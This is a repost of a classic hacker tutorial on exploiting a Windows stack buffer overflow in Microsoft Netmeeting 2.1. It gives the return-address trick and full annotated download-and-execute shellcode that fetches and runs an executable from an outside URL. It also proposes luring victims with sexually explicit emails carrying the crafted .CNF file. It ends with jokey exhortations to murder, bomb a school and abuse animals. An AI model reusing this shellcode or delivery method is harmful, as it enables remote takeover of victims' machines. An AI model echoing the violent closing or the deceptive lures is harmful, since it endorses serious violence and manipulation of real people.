The Tao of Windows Buffer Overflow

来源:互联网 发布:人工智能的书 编辑:程序博客网 时间:2024/05/17 07:24

    .-.                             _   _                             .-.

   /   /           .-.             ((___))             .-.           /   /

  /.ooM /         /   /       .-.  [ x x ]  .-.       /   /         /.ooM /

-/-------/-------/-----/-----/---/--/   /--/---/-----/-----/-------/-------/-

/lucky  13/     /       /   /     `-(' ')-'     /   /       /     /lucky  13/

           /   /         `-'         (U)         `-'         /   /

            `-'                                               `-'

 

 

 

The Tao of Windows Buffer Overflow

 

as taught by

DilDog

cDc Ninja Strike Force

9-dan of the Architecture

Sensei of the Undocumented Opcode

 

 

Begin


 

 

Essence

 

Throughout these ages

our operating systems

infested by bugs

 

The ignorant world

turns to Windows for safety

Safety from themselves

 

It is now the time

for the world to realize

that we all feel pain

 

 

 

Introduction

 

Back


 

Introduction

Exploiting the buffer overflow takes patience, knowledge, skill, and imagination. I can not teach you patience, and I can can not clear your mind. I will however, give you the tools and concepts required to build your own exploits for buffer overflow bugs in the Windows 95, 98 and NT operating systems.

 

Before reading this document, you should be familiar with the following:

 

Intel x86 Assembly, preferably Pentium

General Windows System Architechture (you should know what the PE means in the PE-Executable)

Know what a URL is.

Have a working knowledge of C

 

The following tools are suggested to do anything useful:

A good hex editor/assembler/disassembler, such as HIEW

A realtime debugger, such as SoftICE

A few tools that come with Visual C++, DUMPBIN specifically.

After reading all of this, and gathering all of your tools, you may be thoroughly unprepared to read the following material. But hopefully you will understand what is so hard for so many to grasp. First, lets start with the very basics of what we are trying to understand. These are the fundamentals of buffer overflow.

 

Fundamentals

Introduction


 

Fundamentals

A buffer overflow occurs when something very large is placed in a box far too small for it to fit. It's all gotta go somewhere. An example in code is as follows:

 

 

void func(void)

{

   int i;

   char buffer[256];  

                                  // *

   for(i=0;i<512;i++)                

      buffer[i]='A';              // !

  

   return;

}

 

As you can see, our 'buffer' gets filled with 256 'A's, followed by 256 more that just don't fit. The rest of those 'A's have to go somewhere.

And where they go depends on your operating system implementation and programming language, but if you don't have automatic bounds checking like Java, I guarantee you that those 'A's are going somewhere unfortunate.

 

Here is a picture of a healthy 32-bit stack, in such an operating system as Windows 9x/NT running on an Intel platform. It looks like what it should look like at the point marked * in the code above.

 

STACK

        ----------------

        Local Variables

ESP->   i

        Buffer

        ----------------

EBP->   Old Value of EBP

        ----------------

        Return Address

        ----------------

 

When the "func" procedure returns, it moves EBP back into ESP, and POP's the return address off the stack. When the above line of code marked '!' executes it overflows the buffer, writing 'A's over the old value of EBP and over the return address. By overwriting the return address, you can seriously alter the course of program flow. All you have to do is change the return address to point to a memory location of your choice, and the code you want to execute will be reached when this procedure decides to 'return'. If you stuff the buffer with code bytes, you can then reroute the EIP to them on the next RET, since the stack is considered executable memory in Windows 9x/NT on the Intel architecture.

The lesson on basics is over. If you have written a buffer overflow exploit on other operating systems or have fully mastered these basic concepts, we will go into detail on how to recognize the buffer overflow condition in Windows and proceed to detail on exploitation.

 

 

Next

Back


 

What It Looks Like

When you see something like this,

 

 

you probably hit some kind of buffer overflow. Sure the error is somewhat generic looking, but look a little closer at some of those values...

 

To get this to happen, I fed a string of 0x80 bytes into a popular conference package called 'Microsoft Netmeeting' through the address field of a 'speeddial' shortcut. EIP happens to be 0x80808080. Guess what? That's good! I found a stack overflow! Now all I have to do is craft my exploit string to have some fun code inside, and tweak four of those 0x80 bytes to point to my exploit string.

 

Note at this point that other types of errors will bring up similar dialog boxes, and that not all of them are buffer overflows. Some buffer overflows are easier to exploit than others as well. I will be going into the mechanics of stack overflows in Windows in this paper. Other types of overflows, such as heap overflows are exploitable, on Intel Win95/98/NT, but are beyond the scope of this paper by about 50 IQ points from the target audience.

 

Once you're pretty sure that you've found a buffer overflow, you need to decide what approach you're going to take, and find out what tools are available to you.

 

 

Hack me up!

Back me up!


 

How Can This Be Used?

Now we need to figure out what's really going on. To create the buffer overflow situation, I created a file called "overflow.cnf". CNF is a file format used by Microsoft Netmeeting when you save a 'SpeedDial' shortcut to disk. CNF files are commonly placed on people's webpages and in emails so that people on netmeeting will give them a call.

 

If you wanted to exploit this overflow, you could simply start up Netmeeting, find a bunch of people on the ILS server, and send them email with the CNF file attached. Just make the mail say something like: My girlfriend and I want you to watch us fuck while you spank it! Call us soon, we're horny! They'll click the icon. It may also be possible to fake a connection to an ILS server as well, creating a fake user and supplying the bogus address line with our exploit it in, so that if they click on the name, they get zapped. All kinds of fun owning the machines of horny men looking for titties on the net!

 

So. Let's do it! What do we have at our disposal? Well, the overflow is in 'RUNDLL32.EXE', which is of different sizes between Windows 95 and Windows NT. It's a safe bet to assume that they have different import tables (go ahead and verify that yourself with DUMPBIN). Oh, by the way, this particular overflow will only happen in Windows 95, but the exploit technology is valid for Windows NT as well. Netmeeting 2.1 was the version, by the way.

 

 

Onward!

Backward!


 

The Good And The Bad

When that crash occurs, and you hit 'close', you'll notice that Netmeeting itself does not close. This means that RUNDLL32 is being launched in a separate process space. This is both good, and bad. The good side is that you don't have a lot of complicated code to wade through and whatever you do, it won't look too suspicious, because Netmeeting didn't close. The bad side is that RUNDLL32 doesn't load too much in the way of DLL's or external resources. It looks like we'll have to load those on our own.

 

Upon further inspection, we have even more shit to deal with. An executable, such as RUNDLL32.exe has a base address of 0x00400000. This means that almost all references to the stack are going to have at least one NULL character in them. This is unfortunate, because it is almost always runaway string operations in C that cause these kind of overflow problems. Hence, if we write our code with null characters, we will harm our own exploit string because it will be truncated as it is manipulated. Other bad characters include line feed, carriage returns, some control codes, and in some extreme cases, even lowercase or uppercase letters, or characters whose ASCII value is greater >= 0x80 (one of the worst cases!) We're just going to have to be clever.

 

Other things we have to work with: MSCONF.DLL is loaded. This is because RUNDLL loaded it. We notice this because the command line for starting .CNF files is "rundll32.exe msconf.dll,OpenConfLink %l" as defined in the CNF file type. We can also assume that KERNEL32.DLL is loaded because KERNEL32 functions are listed in RUNDLL32's import table. Then again, KERNEL32 functions are also listed in the MSCONF.DLL import table. Lets look to see what would be more reliable: We're hacking Netmeeting 2.1. One version of the product. One version of MSCONF.DLL. There could be any version or revision of RUNDLL32 or KERNEL32 loaded from various OS versions or upgrades. Hence, if we were to reference an absolute virtual memory address, it had better be within MSCONF or else, we might be poking into the wrong places (version skew!). This is problematic, assuming that we want this exploit to work on all versions of the target OS.

 

So... we look at how other programs get their addresses. We want to be able to use internet functions to do fun stuff with our exploit code, so we are going to need to use WSOCK32.DLL or WININET.DLL. WinInet provides more functionality with less code, so we'll go with that for now. WININET is not loaded into the process space of RUNDLL32, so we'd have to load it. But wait! We haven't mentioned how to gain control of the EIP and point it to our code yet! So we shall...

 

 

Snatch that EIP!

Back up!


 

Snatching the EIP

So we found that through a buffer overflow of the right length, we could modify the return address of some function and jump to code of our choice. It would seem natural then, for us to do something like the following:

 

 

Address=.....256periods....1234xyz

 

Since the buffer size is 256 bytes (we figure that out by experimentation, slowly growing and shrinking the address= line length until we home in on the exact number of characters that cause it to crash) the above string will fill the buffer with 256 periods, overwrite EBP with 0x34333231 and set EIP to 0x00ZZYYXX, since the string ends with a null terminator. This lets us point to wherever we want in the stack because guess what, we're allowed 1 NULL at the very end!

In some cases, this works fine. But in other cases, the buffer is either too small for this to work and do something useful, or the buffer is first munged by a bunch of string ops or parsing. In many cases, putting the code AFTER the return address is a better idea, as follows:

 

 

Address=.....256periods....1234wxyzOURCODEFOLLOWSHERE>>>

 

In this case, you often get a lot more code space to work with for writing your exploit, but we don't get the added benefit of getting a free null character to form our stack jump address. Turns out that putting the code after the return address is what we'll need to do for this exploit. The stuff before the return address is destroyed before we get a chance to work with it. We end up jumping to 0xZZYYXXWW, where neither WW,XX,YY, or ZZ can be invalid chars. So where do we go? Somewhere that can take us where we want to go.

First, turn on your realtime debugger and put in an exploit string that will surely cause the thing to crash. Something that points to a blatantly bad address (set 0xZZYYXXWW to equal 0x34333231 for example. No code is in memory there, instant page fault). Now run it and let your debugger kick in. Examine the state, and see what you have to work with. In the case of this exploit, we find that ESP is the only register that points to anything anywhere near our exploit code. In fact, it points to the location where we blew over the saved EBP, plus 16 bytes. Ok... So what exactly are we trying to do?

 

We want to jump the stack. In fact, simply jumping to ESP should be sufficient. A clever way to do this is to set the 0xZZYYXXWW to point to a piece of code in memory that does a "jmp esp" or a "call esp" or something like that. But, to complicate issues, it has to be in a piece of code where no byte in the address is a "bad byte", especially 0x00. We find our magic code in MSCONF.DLL, loaded at 0x6A600000, offset 2A76:

 

.00002A76: 54                           push   esp

.00002A77: 2404                         and    al,004

.00002A79: 33C0                         xor    eax,eax

.00002A7B: 8A0A                         mov    cl,[edx]

.00002A7D: 84C9                         test   cl,cl

.00002A7F: 740F                         je    .000002A90  

.00002A81: 80E930                       sub    cl,030  ;"0"

.00002A84: 8D0480                       lea    eax,[eax][eax]*4

.00002A87: 0FB6C9                       movzx  ecx,cl

.00002A8A: 42                           inc    edx

.00002A8B: 8D0441                       lea    eax,[ecx][eax]*2

.00002A8E: EBEB                         jmps  .000002A7B

.00002A90: C20400                       retn   00004

 

This code doesn't look like it jumps to esp, but that's because it doesn't. It returns to ESP. The PUSH ESP happens, the jmps 2A7B happens once, then the JE 2A90 kicks in and pops us to a RET. This effectively jumps us to ESP. Heh. So all is well. MSCONF.DLL is loaded, and we can expect that this code is going to be in the same place all the time because we only have one version of MSCONF.DLL to worry about, and it has a fixed DLL base address. So our value of 0xZZYYXXWW is 0x6A602A76. No nulls, no bad chars, no bullshit. We have now snatched the EIP. The processor is ours. Now to do something useful...

 

Ooh! Exploit!

Back it up, I missed something.


 

Constructing the Exploit

We are now in control of the machine. We need to do something useful now, but we are limited on how long we can make our code. You'll notice that after about 763 characters, that we end up crashing in a different place. This is also an overflow, a different one. So Microsoft really has two bugs to fix, but hey, we're only exploiting one right now. If we have time, we'll get back to the other.

 

The first 256 characters get blown away so our code only has about 500 bytes of room in which to fit. Here's what we have to deal with:

 

 

500 byte maximum exploit length

We don't know what OS version we're running

We don't know where any useful functions are located

This kinda sucks, but let's look at this from a non-exploit point of view. If I was a little executable, compiled for Windows, I would run on both Win95 and WinNT. If I want to call ExitProcess, how do I know where the function is? It's in two different locations in Kernel32.DLL between the two OS's. (and in two different places between OSR1 and OSR2 of W95, and various service pack releases of WinNT, for that matter). I can't just jump to a random address.

I have to be told the location of these functions. There is a function in the Win32 API called "GetProcAddress". It returns the memory address of a function, given it's name and it's module handle. So what's the address of GetProcAddress? We don't know! We would have to call it to find out! So how does it work? Import tables.

 

Import tables are structures in the PE-Executable format that specify that the operating system should tell us the location of certain functions and fill in a table with the values. Use DUMPBIN to get the import table. Both DLLs and EXEs have import tables. We know that MSCONF.DLL is in memory, and that since we're only dealing with one version of MSCONF.DLL, if GetProcAddress was in it's import table, then the address for GetProcAddress was written to a fixed location in MSCONF.DLL's table space by the operating system when it was loaded.

 

So we dump it:

 

 

Microsoft (R) COFF Binary File Dumper Version 5.10.7303

Copyright (C) Microsoft Corp 1992-1997. All rights reserved.

 

 

Dump of file msconf.dll

 

File Type: DLL

 

  Section contains the following imports:

 

    KERNEL32.dll

 

                 23F   Sleep

                 183   IsBadReadPtr

                 17E   InterlockedIncrement

                 .

                 .

                 .

                  1E   CompareStringA

                  98   FreeLibrary

                 116   GetProcAddress

                 190   LoadLibraryA

                  4C   DeleteCriticalSection

                  51   DisableThreadLibraryCalls

                 .

                 .

                 .

 

And there we are! GetProcAddress, and LoadLibraryA! LoadLibrary can be used to get module handles of DLLs that are loaded, and to load DLLs that aren't loaded. It basically returns the DLL base address. This is important because the base address of the KERNEL32.DLL differs between NT and 95.

So we pop into our debugger and search through memory until we find the address of the functions. They appear at 0x6A60107C (LoadLibraryA), and 0x6A601078 (GetProcAddress). We just need to call these locations using an indirection (call dword ptr [0x6A60107C]) and we'll go to the right places.

 

In order to be efficient, we are going to build our exploit in two parts:

 

Build a jumptable of the functions we intend to use, and

Run our code with reference to our own jumptable.

This reduces the amount of code required to call a function when necessary, and minimizes stack usage to save registers. This is important, because if we PUSH or POP too much, we might blow away our code or cause other stack problems. In order to build this jumptable though, we'll need to know ahead of time what Win32 functions we'll be calling. So lets figure out what we want to do. 500 bytes is far too small for a really useful Windows program, so instead, we'll make our little egg code download another program off of the internet, a larger, well constructed executable, and execute it. This will enable us to write this little tedious chunk once, and have it execute a piece of higher level code.

To download a URL, we'll need InternetOpenA, InternetCloseHandle, InternetOpenUrlA, and InternetReadFile from WININET.DLL. We'll also need _lcreat, _lwrite, and _lclose from KERNEL32.DLL to write the file to disk once downloaded. We'll need GlobalAlloc from KERNEL32.DLL to allocate memory for what we're downloading. We'll also want WinExec and ExitProcess (also in KERNEL32.DLL) to execute what we've downloaded, and kill the RUNDLL32 process that we so thoroughly corrupted (before it can make a sound).

 

Note that in a regular Win32 program, you would never call _lcreat, or any of the other obsolete functions. However, they exist in Win95 and NT, and they have far simpler calling syntax than CreateFile and friends. So we'll use 'em.

 

 

Show me the code!

What's an EIP again?


 

Creating our Jumptable

Now to create the jumptable.

 

Hurdle #1: We need to refer to the functions by name

 

That's right. GetProcAddress calls for either a function ordinal (which we can't use because they change from version to version), or a function name. A NULL terminated function name. Our exploit string has to have null characters in it? Oh shit! We should have thought of that earlier! That and we'll have to package this thing with a URL string as well for it to download!

 

So we be clever again. Since no character in any of our function names, or in our download URL is above ASCII 0x80, it's safe to tack all of the names and the url to the end of the exploit string, and XOR (or ADD for that matter) 0x80 to all of the string bytes. And when we start up the exploit, we simply XOR the tail of our exploit with 0x80's. This has the added advantage that the naked eye looking at the exploit string won't be able to tell exactly what we're trying to do. Not good encryption, but that's not the point. We're just trying to make it _work_.

 

So we tack the following crap to the end of the exploit string:

 

 

00000270:  .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00         KERNEL32

00000280:  5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00  _lcreat _lwrite

00000290:  5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00  _lclose WinExec

000002A0:  45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62  ExitProcess Glob

000002B0:  61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00  alAlloc WININET

000002C0:  49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E  InternetOpenA In

000002D0:  74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C  ternetCloseHandl

000002E0:  65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72  e InternetOpenUr

000002F0:  6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46  lA InternetReadF

00000300:  69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C  ile http://www.l

00000310:  30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67  0pht.com/~dildog

00000320:  2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. ..  /eatme.exe     

 

But we XOR it with 0x80 to eliminate the 00 bytes, as follows:

 

 00000270:  .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80         -+-++_? 00000280:  DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80  ___玙______? 00000290:  DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80  _____?__+僟彨

 000002A0:  C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2  +_-_______

 000002B0:  E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80  -___+++++++? 000002C0:  C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE  +_______-___-?_

 000002D0:  F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC  ______+____+__

 000002E0:  E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2  _?_______-___+_

 000002F0:  EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6  _-?_______-_? 00000300:  E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC  ______丢猒__

 00000310:  B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7  ____________

 00000320:  AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. ..  猒__

 

Got it? Good.

Hurdle #2: We need to decode the string table

 

So our first task in the code is to decode this shit, so we make this the first thing it executes:

 

 

 00000146: 33C9                         xor    ecx,ecx

 

Clear ECX, we're gonna use this.

 00000148: B88053FF63                   mov    eax,063FF5380  ;"c_S?

 0000014D: 2C80                         sub    al,080  ;"?

 0000014F: C1C018                       rol    eax,018

 

Set EAX to the end of our data area in memory (we have to do this ugly funk so we don't get any NULL characters).

 00000152: B1B4                         mov    cl,0B4  ;"?

 

ECX is now 0x000000B4, the number of characters we want to XOR.

 00000154: 48                           dec    eax

 00000155: 803080                       xor    b,[eax],080  ;"?

 00000158: E2FA                         loop   000000154   ---------- (1)

 

And here's the XOR loop. Now we see why we XORed from the end of the memory. Now EAX points to the start of the data, and we can proceed to use it to reference the names. Now we move on to actually get our jumptable.

Hurdle #3: Loading all the procedure addresses

 

 

 0000015A: BE7C10606A                   mov    esi,06A60107C

 0000015F: 50                           push   eax

 00000160: 50                           push   eax

 00000161: FF16                         call   d,[esi]

 00000163: 8BF0                         mov    esi,eax

 

All this code does is call LoadModule. I didn't need to push twice there, but I was debugging, and hey, I forgot to remove it. NOP it out if you like. EAX pointed to the string "KERNEL32", which was the first argument to LoadModule. When LoadModule returns, it will put the kernel module handle in EAX, which we then save in ESI, so that it won't get blown away by calling other procedures.

 

 00000165: 5B                           pop    ebx

 00000166: 8BFB                         mov    edi,ebx

 00000168: 6681EF4BFF                   sub    di,0FF4B  ;"_K"

 

This sets EDI to point to the base of our jumptable, which we place 181 bytes past the beginning of our decoded string table (in further stack space).

 0000016D: FC                           cld

 0000016E: 33C9                         xor    ecx,ecx

 00000170: 80E9FA                       sub    cl,-006

 

We're going to loop six times, for the six procedures we're loading from the kernel. So now ECX=0x00000006.

 00000173: 43                           inc    ebx

 00000174: 32C0                         xor    al,al

 00000176: D7                           xlat

 00000177: 84C0                         test   al,al

 00000179: 75F8                         jne    000000173   ---------- (1)

 0000017B: 43                           inc    ebx

 

This loop scans over the text, searching for a null character (move to the next string, in other words), and then points EBX the character one past the 0x00 byte. This moves us from one procedure name to the next. Note the 31337 use of XLAT. I like that. Our whole memory reference in one byte. Sweet.

 0000017C: 51                           push   ecx

 0000017D: 53                           push   ebx

 0000017E: 56                           push   esi

 0000017F: FF157810606A                 call   d,[06A601078]

 00000185: AB                           stosd

 00000186: 59                           pop    ecx

 

This gets the procedure addresses for our functions, and places them in the table pointed to by EDI.

 00000187: E2EA                         loop   000000173   ---------- (2)

 

Loop for all the kernel procedures.

Now that we're done with the kernel, we gotta repeat for the WININET procedures.

 

 00000189: 43                           inc    ebx

 0000018A: 32C0                         xor    al,al

 0000018C: D7                           xlat

 0000018D: 84C0                         test   al,al

 0000018F: 75F8                         jne    000000189   ---------- (2)

 00000191: 43                           inc    ebx

 

This code only exists to move EBX past the name of the last kernel function and to the string "WININET" in our decoded string table.

 00000192: 53                           push   ebx

 00000193: 53                           push   ebx

 00000194: FF157C10606A                 call   d,[06A60107C]

 0000019A: 8BF0                         mov    esi,eax

 0000019C: 90                           nop

 0000019D: 90                           nop

 0000019E: 90                           nop

 0000019F: 90                           nop

 

Yeah the NOPs and the double-push are more debugging shit. Get rid of them yourself if you don't like 'em there. This code gets the module handle (base address) of WININET.DLL. It stores it in ESI.

 000001A0: 33C9                         xor    ecx,ecx

 000001A2: 83E9FC                       sub    ecx,-004

 000001A5: 43                           inc    ebx

 000001A6: 32C0                         xor    al,al

 000001A8: D7                           xlat

 000001A9: 84C0                         test   al,al

 000001AB: 75F8                         jne    0000001A5

 000001AD: 43                           inc    ebx

 000001AE: 51                           push   ecx

 000001AF: 53                           push   ebx

 000001B0: 56                           push   esi

 000001B1: FF157810606A                 call   d,[06A601078]

 000001B7: AB                           stosd

 000001B8: 59                           pop    ecx

 000001B9: E2EA                         loop   0000001A5

 

This is just a copy of the code used to get the addresses for the kernel functions, but this time it's getting the addresses of 4 WININET functions. I hope you don't need me to explain all of this twice, or you'll never finish reading this. OK! now we've built us a jumptable. EDI points to the dword past the end of the jumptable, so we can just reference our procedures indirectly from EDI now (call dword ptr [edi-16]). It's just like an import table, but more fun!

Now that we have harnessed all of our tools, they are mere keystrokes away. It's time to get to the meat.

 

 

Where's the 0x0000BEEF?

This makes no sense. I hate you.


 

The Shit

Time to do what we've come here to do. Lets write this thing:

 

 000001BB: 90                           nop

 000001BC: 90                           nop

 000001BD: 33C0                         xor    eax,eax

 000001BF: 6648                         dec    ax

 000001C1: D1E0                         shl    eax,1

 000001C3: 33D2                         xor    edx,edx

 000001C5: 50                           push   eax

 000001C6: 52                           push   edx

 000001C7: FF57EC                       call   d,[edi][-0014]

 000001CA: 8BF0                         mov    esi,eax

 

This code allocates 131070 bytes of memory. EAX gets 131070, and we call GlobalAlloc, indirectly addressed from our jumptable -0x14 bytes from EDI. This stores the memory address in ESI. The type of GlobalAlloc is GMEM_FIXED (0), which results in a memory address being returned rather than an unlocked handle.

 000001CC: 33D2                         xor    edx,edx

 000001CE: 52                           push   edx

 000001CF: 52                           push   edx

 000001D0: 52                           push   edx

 000001D1: 52                           push   edx

 000001D2: 57                           push   edi

 000001D3: FF57F0                       call   d,[edi][-0010]

 

Then, we create an Internet handle with a call to InternetOpenA. All the parameters to InternetOpenA are zero in this case, so we're in luck.

The internet handle is returned in EAX and we'll immediately set it up as a parameter to the next function we call...

 

 000001D6: 33D2                         xor    edx,edx

 000001D8: 52                           push   edx

 000001D9: 52                           push   edx

 000001DA: 52                           push   edx

 000001DB: 90                           nop

 000001DC: 52                           push   edx

 000001DD: 8BD7                         mov    edx,edi

 000001DF: 83EA50                       sub    edx,050  ;"P"

 000001E2: 90                           nop

 000001E3: 90                           nop

 000001E4: 90                           nop

 000001E5: 52                           push   edx

 000001E6: 50                           push   eax

 000001E7: FF57F8                       call   d,[edi][-0008]

 

This code makes a call to InternetOpenUrlA (at [EDI-0x08]), invoking our chosen URL. The URL type is unspecified in the code, so the URL can be HTTP,FTP,FILE,GOPHER,... whatever the hell you want.

 000001EA: 57                           push   edi

 000001EB: 33D2                         xor    edx,edx

 000001ED: 664A                         dec    dx

 000001EF: D1E2                         shl    edx,1

 000001F1: 52                           push   edx

 000001F2: 56                           push   esi

 000001F3: 50                           push   eax

 000001F4: FF57FC                       call   d,[edi][-0004]

 

This code uses InternetReadFile (at [EDI-0x04]) to download up to 131070 bytes into our memory buffer (pointer in ESI). Note that we first pushed EDI. EDI is where we're going to store the count of how many bytes are actually read. This is needed to save the file to disk with the right size.

Note that there is a limit to the size of the exploit executable you can download. Awww. If that's too small, then too fuckin bad. What the fuck are you writing anyway, an MFC exploit? Shit...

 

 

 000001F7: 90                           nop

 000001F8: 90                           nop

 000001F9: 90                           nop

 000001FA: 33D2                         xor    edx,edx

 000001FC: 52                           push   edx

 000001FD: 8BD7                         mov    edx,edi

 000001FF: 83EA30                       sub    edx,030  ;"0"

 00000202: 42                           inc    edx

 00000203: 90                           nop

 00000204: 90                           nop

 00000205: 52                           push   edx

 00000206: FF57D8                       call   d,[edi][-0028]

 

This calls _lcreat (at [edi-0x28]) to create a file in which to dump our memory buffer. Time to give this data a home! The filename is chosen by looking at the last 5 characters of the url. In this case, it's "e.exe". The file will be created in the place where exploit was launched (usually the person's SpeedDial directory in the case of Netmeeting).

 00000209: FF37                         push   d,[edi]

 0000020B: 56                           push   esi

 0000020C: 50                           push   eax

 0000020D: 8BD8                         mov    ebx,eax

 0000020F: FF57DC                       call   d,[edi][-0024]

 

And now we do the actual write to disk with a call to _lwrite (at [edi-0x24]). The parameter for the number of bytes to write is located at [edi]. We also push the buffer location and the file handle returned by _lcreat. Before we call the function though, we save the handle in EBX, which is not modified by _lwrite.

 00000212: 53                           push   ebx

 00000213: FF57E0                       call   d,[edi][-0020]

 

And then we close the file handle to get things committed. Now all that's left is to execute the file we downloaded and exit this process. We aren't going to bother cleaning up the memory allocation or anything like that. That would be nice, but fuck it, we're not here to be nice.

 00000216: 90                           nop

 00000217: 90                           nop

 00000218: 90                           nop

 00000219: 33D2                         xor    edx,edx

 0000021B: 42                           inc    edx

 0000021C: 52                           push   edx

 0000021D: 8BD7                         mov    edx,edi

 0000021F: 83EA30                       sub    edx,030  ;"0"

 00000222: 42                           inc    edx

 00000223: 90                           nop

 00000224: 90                           nop

 00000225: 52                           push   edx

 00000226: FF57E4                       call   d,[edi][-001C]

 

Alright, now we just tell WinExec to run the executable! Note that the first 'inc edx' is to select "Show Window" mode for the executable. If you want the executable to run in 'hidden' mode, you should nop that line out, and it will use SW_HIDE instead of SW_SHOWNORMAL as the second parm to WinExec. the first parm is the filename. Run it!

 00000229: 90                           nop

 0000022A: 90                           nop

 0000022B: 90                           nop

 0000022C: FF57E8                       call   d,[edi][-0018]

 

And now we're done with this process. ExitProcess will clean up our mess. And so it was done.

 

Awwww yeah that felt good.

Take me back.


 

That's it!

This code that I have explained can be used as an overflow egg for any Windows 95 or NT program. It is theorized to work in a Windows 98 environment. The example Netmeeting 2.1 exploit that I used throughout this explanation is a Win95 only flaw, but for other operating systems, the code, and technology remains the same. The Netmeeting flaw is not patched as of this writing, but expect it to be fixed sometime. Learn. Experience. And send me all of your money.

 

Now you can start ruling the world. Have fun with this knowledge. Rob from the rich, and rob from the poor. Eat your cat. Kill your parents. Blow up your local elementary school. Rape young farm animals. Do whatever your sick and twisted mind can fathom. And when you get caught, just tell 'em Satan made you do it.

 

Oh yeah, and I almost forgot. Here's the whole toy put together.

 

 

 

 

 

 

Take me to the top. I want to read those haikus again.

Take me back.